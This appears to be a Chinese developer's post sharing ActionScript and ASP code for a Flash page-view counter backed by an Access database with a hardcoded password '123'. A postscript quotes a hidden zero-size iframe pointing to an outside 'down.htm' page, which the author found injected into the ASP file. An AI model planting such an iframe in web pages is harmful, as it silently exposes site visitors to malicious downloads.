AS部分(直接写在时间轴):
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var header:URLRequestHeader = new URLRequestHeader("pragma", "no-cache");
var request:URLRequest = new URLRequest("count/count.asp?randomNum="+Math.random()*1000);
//request.data =dat
request.method = URLRequestMethod.POST;
request.requestHeaders.push(header);
try {
loader.load(request);
} catch (error:Error) {
mess.text="目前无法读取浏览次数!"
}
function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
trace(event.target)
mess.text="该咨讯已被浏览"+loader.data+"次"
}
function openHandler(event:Event):void {
mess.text="正在读取数据..."
}
function progressHandler(event:ProgressEvent):void {
//mess.text="已经生成:" + event.bytesLoaded + "总计: " + event.bytesTotal
}
function securityErrorHandler(event:SecurityErrorEvent):void {
//mess.text=""
}
function httpStatusHandler(event:HTTPStatusEvent):void {
trace("httpStatusHandler: " + event);
}
function ioErrorHandler(event:IOErrorEvent):void {
mess.text="目前无法读取浏览次数!"
}
ASP代码:
<%
'连接数据库
set conn = server.createobject("adodb.connection")
conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("count.mdb")&";Jet OLEDB:Database Password=123"
set rs = server.createobject("adodb.recordset")
rs.open "myCount",conn,1,3
'开始查询
nowCount=rs("count")+1
rs("count")=nowCount
response.write nowCount
rs.update
set rs = nothing
set conn = nothing
%>
PS:打开ASP文件,竟然发现被注入了一段代码:
<iframe src="http://ww.viph.net/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
NND
再PS:为什么我的模板换不掉呢?